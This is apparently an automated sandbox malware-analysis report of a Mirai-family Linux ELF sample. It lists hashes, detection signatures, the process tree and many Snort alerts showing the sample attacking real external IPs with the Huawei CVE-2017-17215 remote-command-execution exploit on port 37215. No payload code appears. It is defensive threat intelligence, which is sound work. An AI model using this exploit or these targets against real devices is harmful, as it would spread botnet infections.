Edit tour

Linux Analysis Report
yP1n2CG3Da.elf

Overview

General Information

Sample Name:	yP1n2CG3Da.elf
Original Sample Name:	835c452654a38ae46b38577baf934256.elf
Analysis ID:	1344717
MD5:	835c452654a38ae46b38577baf934256
SHA1:	83c06a95aa27b131530b3b19505081ee0c4da546
SHA256:	8c7eabb94f92ca3d608bf8bf8b982529f966e767e33f93acb24b62781f6e9768
Tags:	32elfgafgytmips
Infos:

Detection

Mirai

Score:	84
Range:	0 - 100
Whitelisted:	false

Signatures

Antivirus / Scanner detection for submitted sample

Yara detected Mirai

Multi AV Scanner detection for submitted file

Snort IDS alert for network traffic

Sample deletes itself

Uses known network protocols on non-standard ports

Connects to many ports of the same IP (likely port scanning)

Sample has stripped symbol table

HTTP GET or POST without a user agent

Uses the "uname" system call to query kernel version information (possible evasion)

Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)

Detected TCP or UDP traffic on non-standard ports

Sample listens on a socket

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Classification

Analysis Advice

Static ELF header machine description suggests that the sample might not execute correctly on this machine.

All HTTP servers contacted by the sample do not answer. The sample is likely an old dropper which does no longer work.

Static ELF header machine description suggests that the sample might only run correctly on MIPS or ARM architectures.

General Information

Joe Sandbox Version:	38.0.0 Ammolite
Analysis ID:	1344717
Start date and time:	2023-11-19 09:15:05 +01:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 4m 35s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample file name:	yP1n2CG3Da.elf renamed because original name is a hash value
Original Sample Name:	835c452654a38ae46b38577baf934256.elf
Detection:	MAL
Classification:	mal84.troj.evad.linELF@0/0@20/0

Warnings

Report size exceeded maximum capacity and may have missing network information.

Runtime Messages

Command:	/tmp/yP1n2CG3Da.elf
PID:	6207
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	hail china mainland
Standard Error:

Process Tree

system is lnxubuntu20

yP1n2CG3Da.elf (PID: 6207, Parent: 6121, MD5: 0d6f61f82cf2f781c6eb0661071d42d9) Arguments: /tmp/yP1n2CG3Da.elf

yP1n2CG3Da.elf New Fork (PID: 6209, Parent: 6207)

yP1n2CG3Da.elf New Fork (PID: 6211, Parent: 6209)

yP1n2CG3Da.elf New Fork (PID: 6216, Parent: 6211)

yP1n2CG3Da.elf New Fork (PID: 6212, Parent: 6209)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Mirai	Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.	No Attribution	http://osint.bambenekconsulting.com/feeds/ http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-analysis/ https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html https://blog.netlab.360.com/another-lilin-dvr-0-day-being-used-to-spread-mirai-en/ https://blog.netlab.360.com/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
yP1n2CG3Da.elf	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
6207.1.00007f9e8c400000.00007f9e8c411000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security

Snort Signatures

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.235.97.221

Timestamp:	192.168.2.23156.235.97.22159056372152829579 11/19/23-09:16:22.812830
SID:	2829579
Source Port:	59056
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.230.14.26

Timestamp:	192.168.2.23156.230.14.2645070372152829579 11/19/23-09:16:28.680116
SID:	2829579
Source Port:	45070
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.253.34.65

Timestamp:	192.168.2.23156.253.34.6536808372152829579 11/19/23-09:16:16.513394
SID:	2829579
Source Port:	36808
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.230.18.22

Timestamp:	192.168.2.23156.230.18.2238764372152829579 11/19/23-09:17:16.175382
SID:	2829579
Source Port:	38764
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.241.113.177

Timestamp:	192.168.2.23156.241.113.17741758372152829579 11/19/23-09:16:41.679210
SID:	2829579
Source Port:	41758
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.241.88.9

Timestamp:	192.168.2.23156.241.88.935056372152835222 11/19/23-09:17:37.469985
SID:	2835222
Source Port:	35056
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.254.92.217

Timestamp:	192.168.2.23156.254.92.21736780372152835222 11/19/23-09:17:27.221980
SID:	2835222
Source Port:	36780
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.254.111.62

Timestamp:	192.168.2.23156.254.111.6260280372152829579 11/19/23-09:16:13.544726
SID:	2829579
Source Port:	60280
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.254.73.77

Timestamp:	192.168.2.23156.254.73.7733498372152835222 11/19/23-09:16:49.458961
SID:	2835222
Source Port:	33498
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.241.86.194

Timestamp:	192.168.2.23156.241.86.19439920372152829579 11/19/23-09:17:02.712348
SID:	2829579
Source Port:	39920
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.230.18.22

Timestamp:	192.168.2.23156.230.18.2238764372152835222 11/19/23-09:17:16.175382
SID:	2835222
Source Port:	38764
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.253.34.65

Timestamp:	192.168.2.23156.253.34.6536808372152835222 11/19/23-09:16:16.513394
SID:	2835222
Source Port:	36808
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.247.27.96

Timestamp:	192.168.2.23156.247.27.9653072372152829579 11/19/23-09:17:24.881561
SID:	2829579
Source Port:	53072
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.254.92.217

Timestamp:	192.168.2.23156.254.92.21736780372152829579 11/19/23-09:17:27.221980
SID:	2829579
Source Port:	36780
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.241.113.177

Timestamp:	192.168.2.23156.241.113.17741758372152835222 11/19/23-09:16:41.679210
SID:	2835222
Source Port:	41758
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.253.46.138

Timestamp:	192.168.2.23156.253.46.13842524372152829579 11/19/23-09:16:43.407336
SID:	2829579
Source Port:	42524
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.241.97.151

Timestamp:	192.168.2.23156.241.97.15153654372152829579 11/19/23-09:16:16.589230
SID:	2829579
Source Port:	53654
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.254.111.62

Timestamp:	192.168.2.23156.254.111.6260280372152835222 11/19/23-09:16:13.544726
SID:	2835222
Source Port:	60280
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.254.68.190

Timestamp:	192.168.2.23156.254.68.19051916372152829579 11/19/23-09:16:20.631358
SID:	2829579
Source Port:	51916
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.241.86.194

Timestamp:	192.168.2.23156.241.86.19439920372152835222 11/19/23-09:17:02.712348
SID:	2835222
Source Port:	39920
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.224.14.101

Timestamp:	192.168.2.23156.224.14.10148392372152835222 11/19/23-09:17:07.450618
SID:	2835222
Source Port:	48392
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.241.94.165

Timestamp:	192.168.2.23156.241.94.16551870372152829579 11/19/23-09:16:38.885761
SID:	2829579
Source Port:	51870
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.241.82.56

Timestamp:	192.168.2.23156.241.82.5642524372152829579 11/19/23-09:17:27.288953
SID:	2829579
Source Port:	42524
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.253.46.138

Timestamp:	192.168.2.23156.253.46.13842524372152835222 11/19/23-09:16:43.407336
SID:	2835222
Source Port:	42524
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.241.73.173

Timestamp:	192.168.2.23156.241.73.17343052372152829579 11/19/23-09:17:13.677494
SID:	2829579
Source Port:	43052
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.233.233.17

Timestamp:	192.168.2.2341.233.233.1753550372152835222 11/19/23-09:17:14.576635
SID:	2835222
Source Port:	53550
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.247.16.6

Timestamp:	192.168.2.23156.247.16.641866372152835222 11/19/23-09:16:28.933314
SID:	2835222
Source Port:	41866
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.77.134.145

Timestamp:	192.168.2.23156.77.134.14542096372152835222 11/19/23-09:16:06.768950
SID:	2835222
Source Port:	42096
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.254.73.77

Timestamp:	192.168.2.23156.254.73.7733498372152829579 11/19/23-09:16:49.458961
SID:	2829579
Source Port:	33498
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.56.141.175

Timestamp:	192.168.2.23197.56.141.17545424372152835222 11/19/23-09:16:30.240555
SID:	2835222
Source Port:	45424
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.230.31.63

Timestamp:	192.168.2.23156.230.31.6350212372152829579 11/19/23-09:17:34.042853
SID:	2829579
Source Port:	50212
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.241.73.173

Timestamp:	192.168.2.23156.241.73.17343052372152835222 11/19/23-09:17:13.677494
SID:	2835222
Source Port:	43052
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.77.134.145

Timestamp:	192.168.2.23156.77.134.14542096372152829579 11/19/23-09:16:06.768950
SID:	2829579
Source Port:	42096
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.254.95.66

Timestamp:	192.168.2.23156.254.95.6656916372152829579 11/19/23-09:16:35.841274
SID:	2829579
Source Port:	56916
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.226.14.245

Timestamp:	192.168.2.23156.226.14.24533702372152835222 11/19/23-09:16:16.199665
SID:	2835222
Source Port:	33702
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.254.85.109

Timestamp:	192.168.2.23156.254.85.10944436372152829579 11/19/23-09:17:03.036644
SID:	2829579
Source Port:	44436
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.247.21.183

Timestamp:	192.168.2.23156.247.21.18337542372152829579 11/19/23-09:16:10.210321
SID:	2829579
Source Port:	37542
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.235.101.61

Timestamp:	192.168.2.23156.235.101.6145214372152829579 11/19/23-09:16:56.629972
SID:	2829579
Source Port:	45214
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.241.124.109

Timestamp:	192.168.2.23156.241.124.10946690372152829579 11/19/23-09:17:12.892698
SID:	2829579
Source Port:	46690
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.247.16.6

Timestamp:	192.168.2.23156.247.16.641866372152829579 11/19/23-09:16:28.933314
SID:	2829579
Source Port:	41866
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.47.169.189

Timestamp:	192.168.2.2341.47.169.18940504372152829579 11/19/23-09:16:35.799465
SID:	2829579
Source Port:	40504
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.241.15.178

Timestamp:	192.168.2.23156.241.15.17841666372152829579 11/19/23-09:16:51.994637
SID:	2829579
Source Port:	41666
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.247.21.183

Timestamp:	192.168.2.23156.247.21.18337542372152835222 11/19/23-09:16:10.210321
SID:	2835222
Source Port:	37542
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.247.25.151

Timestamp:	192.168.2.23156.247.25.15135484372152829579 11/19/23-09:16:51.994555
SID:	2829579
Source Port:	35484
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.235.97.136

Timestamp:	192.168.2.23156.235.97.13641598372152829579 11/19/23-09:16:59.306134
SID:	2829579
Source Port:	41598
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.241.101.157

Timestamp:	192.168.2.23156.241.101.15749260372152835222 11/19/23-09:16:28.006707
SID:	2835222
Source Port:	49260
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.253.35.140

Timestamp:	192.168.2.23156.253.35.14033530372152829579 11/19/23-09:17:16.184479
SID:	2829579
Source Port:	33530
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.47.169.189

Timestamp:	192.168.2.2341.47.169.18940504372152835222 11/19/23-09:16:35.799465
SID:	2835222
Source Port:	40504
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.233.233.17

Timestamp:	192.168.2.2341.233.233.1753550372152829579 11/19/23-09:17:14.576635
SID:	2829579
Source Port:	53550
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.241.124.109

Timestamp:	192.168.2.23156.241.124.10946690372152835222 11/19/23-09:17:12.892698
SID:	2835222
Source Port:	46690
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.254.95.66

Timestamp:	192.168.2.23156.254.95.6656916372152835222 11/19/23-09:16:35.841274
SID:	2835222
Source Port:	56916
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.247.25.151

Timestamp:	192.168.2.23156.247.25.15135484372152835222 11/19/23-09:16:51.994555
SID:	2835222
Source Port:	35484
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.241.88.9

Timestamp:	192.168.2.23156.241.88.935056372152829579 11/19/23-09:17:37.469985
SID:	2829579
Source Port:	35056
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.235.97.221

Timestamp:	192.168.2.23156.235.97.22159056372152835222 11/19/23-09:16:22.812830
SID:	2835222
Source Port:	59056
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.253.35.168

Timestamp:	192.168.2.23156.253.35.16849020372152835222 11/19/23-09:16:27.953375
SID:	2835222
Source Port:	49020
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.224.14.101

Timestamp:	192.168.2.23156.224.14.10148392372152829579 11/19/23-09:17:07.450618
SID:	2829579
Source Port:	48392
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.241.82.56

Timestamp:	192.168.2.23156.241.82.5642524372152835222 11/19/23-09:17:27.288953
SID:	2835222
Source Port:	42524
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.254.111.68

Timestamp:	192.168.2.23156.254.111.6834430372152835222 11/19/23-09:16:16.516129
SID:	2835222
Source Port:	34430
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.230.14.26

Timestamp:	192.168.2.23156.230.14.2645070372152835222 11/19/23-09:16:28.680116
SID:	2835222
Source Port:	45070
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.226.14.245

Timestamp:	192.168.2.23156.226.14.24533702372152829579 11/19/23-09:16:16.199665
SID:	2829579
Source Port:	33702
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.241.82.22

Timestamp:	192.168.2.23156.241.82.2241868372152829579 11/19/23-09:16:49.142590
SID:	2829579
Source Port:	41868
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.230.23.116

Timestamp:	192.168.2.23156.230.23.11660756372152835222 11/19/23-09:16:15.880510
SID:	2835222
Source Port:	60756
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.241.100.190

Timestamp:	192.168.2.23156.241.100.19052680372152829579 11/19/23-09:16:28.390022
SID:	2829579
Source Port:	52680
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.224.11.38

Timestamp:	192.168.2.23156.224.11.3844392372152829579 11/19/23-09:17:42.209328
SID:	2829579
Source Port:	44392
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.230.16.157

Timestamp:	192.168.2.23156.230.16.15737646372152829579 11/19/23-09:16:59.139052
SID:	2829579
Source Port:	37646
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.253.46.37

Timestamp:	192.168.2.23156.253.46.3747270372152835222 11/19/23-09:16:36.164239
SID:	2835222
Source Port:	47270
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.254.111.68

Timestamp:	192.168.2.23156.254.111.6834430372152829579 11/19/23-09:16:16.516129
SID:	2829579
Source Port:	34430
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.254.109.92

Timestamp:	192.168.2.23156.254.109.9245584372152829579 11/19/23-09:16:43.721140
SID:	2829579
Source Port:	45584
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.241.76.11

Timestamp:	192.168.2.23156.241.76.1138394372152829579 11/19/23-09:16:24.207923
SID:	2829579
Source Port:	38394
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.241.82.22

Timestamp:	192.168.2.23156.241.82.2241868372152835222 11/19/23-09:16:49.142590
SID:	2835222
Source Port:	41868
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.241.15.178

Timestamp:	192.168.2.23156.241.15.17841666372152835222 11/19/23-09:16:51.994637
SID:	2835222
Source Port:	41666
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.253.35.140

Timestamp:	192.168.2.23156.253.35.14033530372152835222 11/19/23-09:17:16.184479
SID:	2835222
Source Port:	33530
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.232.169.155

Timestamp:	192.168.2.2341.232.169.15548262372152829579 11/19/23-09:16:49.399507
SID:	2829579
Source Port:	48262
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.253.46.37

Timestamp:	192.168.2.23156.253.46.3747270372152829579 11/19/23-09:16:36.164239
SID:	2829579
Source Port:	47270
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.230.23.116

Timestamp:	192.168.2.23156.230.23.11660756372152829579 11/19/23-09:16:15.880510
SID:	2829579
Source Port:	60756
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.224.11.38

Timestamp:	192.168.2.23156.224.11.3844392372152835222 11/19/23-09:17:42.209328
SID:	2835222
Source Port:	44392
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.241.76.11

Timestamp:	192.168.2.23156.241.76.1138394372152835222 11/19/23-09:16:24.207923
SID:	2835222
Source Port:	38394
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.235.97.136

Timestamp:	192.168.2.23156.235.97.13641598372152835222 11/19/23-09:16:59.306134
SID:	2835222
Source Port:	41598
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.230.16.157

Timestamp:	192.168.2.23156.230.16.15737646372152835222 11/19/23-09:16:59.139052
SID:	2835222
Source Port:	37646
Destination Port:	37215
Protocol:	TCP
